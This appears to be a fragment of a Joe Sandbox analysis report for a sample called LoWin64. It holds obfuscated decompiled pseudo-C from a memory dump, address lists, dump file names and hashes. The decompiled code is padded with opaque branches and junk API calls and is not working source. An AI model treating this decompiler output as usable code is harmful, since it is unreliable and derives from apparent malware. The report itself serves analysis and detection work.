				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				_t396 = (_t393 - _t510 | _t504) + _t510;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t396);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
				_t399 = (_t396 - _t510 | _t504) + _t510;
				if (0x68 - 0x3f >= 0) goto 0xb1ca811d;
				E00007FF67FF6B1D3ACF4(_t399);
				if (0x68 - 0x3f >= 0) goto 0xb1ca810c;
				_t402 = (_t399 - _t510 | _t504) + _t510;
				_t218 = r15d & 0xffffff00 | 0x00000068 - 0x0000003f < 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t402) & r14d) >= 0) goto 0xb1ca812d;
				_t405 = (_t402 - _t510 | _t504) + _t510;
				if (0x68 - 0x18 >= 0) goto 0xb1ca8168;
				if ((E00007FF67FF6B1D3ACF4(_t405) & r14d) >= 0) goto 0xb1ca8142;
				_t408 = (_t405 - _t510 | _t504) + _t510;
				if (0x68 != 0x7e) goto 0xb1ca8168;
				_t134 = E00007FF67FF6B1D3ACF4(_t408);
				_t135 = _t134 & r14d;
				if ((_t134 & r14d) >= 0) goto 0xb1ca8157;
				_t411 = (_t408 - _t510 | _t504) + _t510;
				r8d = r15d;
				r8b = _t411 - 0x18 < 0;
				 *0xb1decf60 = r8d;
				r9d =  *((intOrPtr*)(_t512 + 0x20));
				r8d = _a152;
				E00007FF67FF6B1CB41F0(_t135, _t229, _t484,  *((intOrPtr*)(_t512 + 0x90)), _t507); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t218, _t484, 0, _t411, _t516), _t229,  *((intOrPtr*)(_t512 + 0x90)));
				 *0xb1decf60 = _t510;
				E00007FF67FF6B1D3ACF4(_t411);
				E00007FF67FF6B1D3ACF4(_t411);
				asm("push es");
				_t414 = (_t411 - _t510 | 0xffffff80) + _t510;
				asm("movsd xmm6, [0x11694a]");
				_t276 = _t414 - 5;
				if (_t276 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t414);
				if (_t276 >= 0) goto 0xb1ca81e3;
				_t417 = (_t414 - _t510 | 0xffffff80) + _t510;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t276 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t417);
				if (_t276 >= 0) goto 0xb1ca820e;
				_t420 = (_t417 - _t510 | 0xffffff80) + _t510;
				if (_t420 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t420);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t423 = (_t420 - _t510 | 0xffffff80) + _t510;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t423;
				 *0xb1decf60 = _t510;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t279 = r12d - 0x42;
				if (_t279 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t423);
				if (_t279 >= 0) goto 0xb1ca8274;
				_t426 = (_t423 - _t510 | 0xffffff80) + _t510;
				_t280 = _t426 - 0x2e;
				if (_t280 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t426);
				if (_t280 >= 0) goto 0xb1ca828f;
				_t220 = r15d & 0xffffff00 | (_t426 - _t510 | 0xffffff80) + _t510 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t156 = E00007FF67FF6B1D3ACF4((_t426 - _t510 | 0xffffff80) + _t510);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t220;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t220;
				 *0x6b =  *0x6b + _t156;
				_t431 = _a160 + _t510;
				_a160 = _t431;
				 *0xb1decf60 = _t431;
				_t282 = _t431 - 0x1f;
				if (_t282 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t510;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t431 =  *_t431 | _t431;
				if (_t282 >= 0) goto 0xb1ca8308;
				_t434 = (_t431 - _t510 | 0xffffff80) + _t510;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t282 != 0) goto 0xb1ca8318;
				if (_t282 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t434) & r14d) >= 0) goto 0xb1ca8333;
				_t437 = (_t434 - _t510 | 0xffffff80) + _t510;
				if (_t437 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t437) & r14d) >= 0) goto 0xb1ca835e;
				_t440 = (_t437 - _t510 | 0xffffff80) + _t510;
				if (_t440 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t440);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t443 = (_t440 - _t510 | 0xffffff80) + _t510;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t443);
				if (_t443 - 0x34 >= 0) goto 0xb1ca8397;
				_t446 = (_t443 - _t510 | 0xffffff80) + _t510;
				_t290 = _t446 - 0x1f;
				if (_t290 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t446);
				if (_t290 >= 0) goto 0xb1ca83ac;
				_t291 = (_t446 - _t510 | 0xffffff80) + _t510 - 4;
				if (_t291 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t446 - _t510 | 0xffffff80) + _t510);
				if (_t291 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t293 = r13d - 0x54;
				if (_t293 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t293 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t510;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t510;
				IsIconic(??);
				asm("adc al, 0x0");
				_t455 = 0x50 + _t510;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t455);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t458 = (_t455 - _t510 | 0xffffff80) + _t510;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t458);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t461 = (_t458 - _t510 | 0xffffff80) + _t510;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t461);
				E00007FF67FF6B1D3ACF4(_t461);
				E00007FF67FF6B1D3ACF4(_t461);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t464 = (_t461 - _t510 | 0xffffff80) + _t510;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t510;
				E00007FF67FF6B1D3ACF4(_t464);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t467 = (_t464 - _t510 | 0xffffff80) + _t510;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t467);
				E00007FF67FF6B1D3ACF4(_t467);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t470 = (_t467 - _t510 | 0xffffff80) + _t510;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t470);
				E00007FF67FF6B1D3ACF4(_t470);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t473 = (_t470 - _t510 | 0xffffff80) + _t510;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t473);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t479 = ((_t473 - _t510 | 0xffffff80) + _t510 - _t510 | 0xffffff80) + _t510;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t199 = E00007FF67FF6B1D3ACF4(_t479);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t479 - _t510 | 0xffffff80) + _t510 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t199 & r14d;
			}

0x7ff6b1ca7d1d
0x7ff6b1ca7d22
0x7ff6b1ca7d2c
0x7ff6b1ca7d32
0x7ff6b1ca7d37
0x7ff6b1ca7d41
0x7ff6b1ca7d4c
0x7ff6b1ca7d52
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6a
0x7ff6b1ca7d72
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d90
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da3
0x7ff6b1ca7da7
0x7ff6b1ca7dad
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7dda
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df5
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ec9
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f05
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d3c30ea20539fc382540c06c62d9e55290758442f41fd775392f02ff8528368
Instruction ID: 2ce735ee99c75e4d9c059ce1a2e22ca5a2b41078fc429cf3eca50833e729a07a
Opcode Fuzzy Hash: 5d3c30ea20539fc382540c06c62d9e55290758442f41fd775392f02ff8528368
Instruction Fuzzy Hash: 49817D67F38A0A66F7125F3CAD4E2B962A16F21709F740739D709E118ADF3CF5828245

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7D43 Relevance: 7.7, APIs: 5, Instructions: 207
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 66%

			E00007FF67FF6B1CA7D43(void* __eax, void* __edi, void* __ebp, struct HWND__* __rdx, void* _a32, void* _a144, signed int _a152, signed long long _a160, void* _a168) {
				signed int _t130;
				void* _t152;
				signed int _t195;
				signed int _t214;
				signed int _t216;
				void* _t225;
				void* _t229;
				signed int _t232;
				void* _t239;
				signed int _t257;
				void* _t268;
				void* _t271;
				void* _t272;
				void* _t274;
				void* _t282;
				void* _t283;
				void* _t285;
				void* _t297;
				void* _t304;
				void* _t307;
				void* _t310;
				void* _t313;
				void* _t316;
				void* _t330;
				void* _t333;
				void* _t340;
				void* _t343;
				void* _t346;
				void* _t349;
				void* _t352;
				void* _t355;
				void* _t358;
				void* _t361;
				void* _t364;
				void* _t367;
				void* _t370;
				void* _t373;
				void* _t376;
				void* _t379;
				void* _t382;
				void* _t385;
				void* _t388;
				void* _t391;
				void* _t394;
				void* _t397;
				void* _t400;
				void* _t403;
				void* _t406;
				signed long long _t409;
				void* _t412;
				signed long long _t417;
				void* _t420;
				void* _t423;
				void* _t426;
				void* _t429;
				void* _t432;
				void* _t441;
				void* _t444;
				void* _t447;
				void* _t450;
				void* _t453;
				void* _t456;
				void* _t459;
				void* _t465;
				void* _t470;
				signed long long _t477;
				signed long long _t490;
				void* _t493;
				signed long long _t496;
				void* _t498;
				void* _t502;

				_t229 = (_t297 - _t496 | _t490) + _t496 - 0x67;
				 *0xb1decf60 = _t477;
				if (_t229 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d);
				if (_t229 >= 0) goto 0xb1ca7d7a;
				_t304 = (0x0000004d - _t496 | _t490) + _t496;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t229 > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(_t304);
				if (_t229 >= 0) goto 0xb1ca7da0;
				_t307 = (_t304 - _t496 | _t490) + _t496;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				IsIconic(__rdx);
				E00007FF67FF6B1D3ACF4(_t307);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dbd;
				_t310 = (_t307 - _t496 | _t490) + _t496;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(_t310);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dea;
				_t313 = (_t310 - _t496 | _t490) + _t496;
				asm("movsd xmm6, [0x116af6]");
				if (0x4d != 0x76) goto 0xb1ca7e39;
				_t232 = E00007FF67FF6B1D3ACF4(_t313) & r14d;
				if (_t232 >= 0) goto 0xb1ca7e07;
				_t316 = (_t313 - _t496 | _t490) + _t496;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t232 >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(_t316) & r14d) >= 0) goto 0xb1ca7e25;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4((_t316 - _t496 | _t490) + _t496);
				if (0x4d - 0x30 >= 0) goto 0xb1ca7e53;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(((_t316 - _t496 | _t490) + _t496 - _t496 | _t490) + _t496);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4((((_t316 - _t496 | _t490) + _t496 - _t496 | _t490) + _t496 - _t496 | _t490) + _t496);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = 0;
				asm("adc al, 0x0");
				_t330 = 0x15 + _t496;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(_t330);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				_t333 = (_t330 - _t496 | _t490) + _t496;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(_t333);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				_t239 = (_t333 - _t496 | _t490) + _t496 - 0x65;
				if (_t239 > 0) goto 0xb1ca7f1b;
				if (_t239 == 0) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (_t239 >= 0) goto 0xb1ca7f07;
				_t340 = (0x00000068 - _t496 | _t490) + _t496;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(_t340);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				_t343 = (_t340 - _t496 | _t490) + _t496;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(_t343) & r14d) >= 0) goto 0xb1ca7f44;
				_t346 = (_t343 - _t496 | _t490) + _t496;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t346) & r14d) >= 0) goto 0xb1ca7f59;
				_t349 = (_t346 - _t496 | _t490) + _t496;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t349) & r14d) >= 0) goto 0xb1ca7f76;
				_t352 = (_t349 - _t496 | _t490) + _t496;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t352);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				_t355 = (_t352 - _t496 | _t490) + _t496;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t355) & r14d) >= 0) goto 0xb1ca7fa9;
				_t358 = (_t355 - _t496 | _t490) + _t496;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t358);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				_t361 = (_t358 - _t496 | _t490) + _t496;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t361) & r14d) >= 0) goto 0xb1ca7fec;
				_t364 = (_t361 - _t496 | _t490) + _t496;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t364) & r14d) >= 0) goto 0xb1ca8005;
				_t367 = (_t364 - _t496 | _t490) + _t496;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t367) & r14d) >= 0) goto 0xb1ca8020;
				_t370 = (_t367 - _t496 | _t490) + _t496;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t370);
				_t257 = E00007FF67FF6B1D3ACF4(_t370) & r14d;
				if (_t257 >= 0) goto 0xb1ca8046;
				_t373 = (_t370 - _t496 | _t490) + _t496;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t257 != 0) goto 0xb1ca805e;
				if (_t257 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t496;
				E00007FF67FF6B1D3ACF4(_t373);
				if (_t257 >= 0) goto 0xb1ca807a;
				_t376 = (_t373 - _t496 | _t490) + _t496;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t376);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				_t379 = (_t376 - _t496 | _t490) + _t496;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t379);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				_t382 = (_t379 - _t496 | _t490) + _t496;
				 *0xb1decf60 = 0;
